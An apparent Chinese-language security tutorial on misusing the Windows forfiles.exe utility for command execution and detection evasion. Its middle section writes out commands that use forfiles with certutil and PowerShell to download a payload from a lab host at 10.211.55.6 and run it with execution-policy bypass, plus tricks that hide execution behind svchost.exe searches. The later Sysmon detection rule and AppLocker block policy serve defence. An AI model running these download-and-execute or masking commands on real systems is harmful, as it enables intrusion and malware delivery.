Forfiles.exe 是 Windows 內建的批次檔案處理工具,原本用來根據檔案日期、名稱等條件批次處理檔案。
但它有個強大的功能 - 可以對每個符合條件的檔案執行任意命令,
這讓它成為攻擊者用來執行程式和繞過偵測的工具。
Forfiles 的設計目的是自動化檔案管理:
:: 刪除 30 天前的日誌檔
forfiles /p "C:\Logs" /s /m *.log /d -30 /c "cmd /c del @path"
:: 列出今天修改的檔案
forfiles /p "C:\Users" /d +0 /c "cmd /c echo @path @fdate"
:: 壓縮舊檔案
forfiles /p "C:\Backup" /m *.txt /d -7 /c "cmd /c 7z a @fname.zip @file"
重點是:/c
參數可以執行任意命令,這就是我們這次主要的攻擊點
最簡單的執行方式:
:: 直接執行程式
forfiles /c "calc.exe"
:: 透過 cmd 執行
forfiles /c "cmd /c calc.exe"
:: 執行 PowerShell
forfiles /c "powershell.exe -c Write-Host 'Forfiles Execution'"
:: 使用搜尋條件隱藏意圖
forfiles /p "C:\Windows\System32" /m "svchost.exe" /c "cmd /c calc.exe"
:: 看起來在處理 svchost.exe,實際執行 calc.exe
:: 使用 certutil 下載
forfiles /c "cmd /c certutil -urlcache -f http://10.211.55.6:8080/payload.ps1 %temp%\p.ps1"
forfiles /c "powershell -ep bypass -f %temp%\p.ps1"
:: 使用 PowerShell 下載
forfiles /c "powershell -c (New-Object Net.WebClient).DownloadFile('http://10.211.55.6:8080/payload.exe','%temp%\update.exe')"
forfiles /c "%temp%\update.exe"
mkdir C:\TestLab
cd C:\TestLab
echo test > test.txt
:: 測試檔案列舉
forfiles /p "C:\TestLab" /c "cmd /c echo @file @fdate @ftime"
:: 測試命令執行
forfiles /p "C:\TestLab" /m "*.txt" /c "cmd /c echo Found: @path && calc.exe"
:: 隱藏在正常操作中
forfiles /p "C:\Windows\System32" /m "cmd.exe" /c "cmd /c echo Checking system files... && timeout 2 && calc.exe"
:: 多層巢狀
forfiles /c "cmd /c forfiles /c calc.exe"
forfiles
+ /c
執行非檔案管理命令forfiles
執行 PowerShell、cmd、rundll32 等forfiles
在 Temp、Downloads 等可疑位置執行forfiles
產生網路連線活動<RuleGroup name="Forfiles Detection">
<ProcessCreate onmatch="include">
<Image condition="end with">forfiles.exe</Image>
<CommandLine condition="contains any">
powershell;cmd /c;certutil;rundll32;regsvr32;mshta
</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="include">
<ParentImage condition="end with">forfiles.exe</ParentImage>
</ProcessCreate>
</RuleGroup>
# AppLocker 規則限制
$xml = @"
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="Enabled">
<FilePathRule Id="Block_Forfiles_Abuse" Name="Block Forfiles Command Execution"
Description="Prevent forfiles from executing commands"
UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="%SYSTEM32%\forfiles.exe"/>
</Conditions>
</FilePathRule>
</RuleCollection>
</AppLockerPolicy>
"@
# 限制一般使用者執行
icacls "C:\Windows\System32\forfiles.exe" /deny "Users:(RX)"
Forfiles 的危險性:
防禦重點: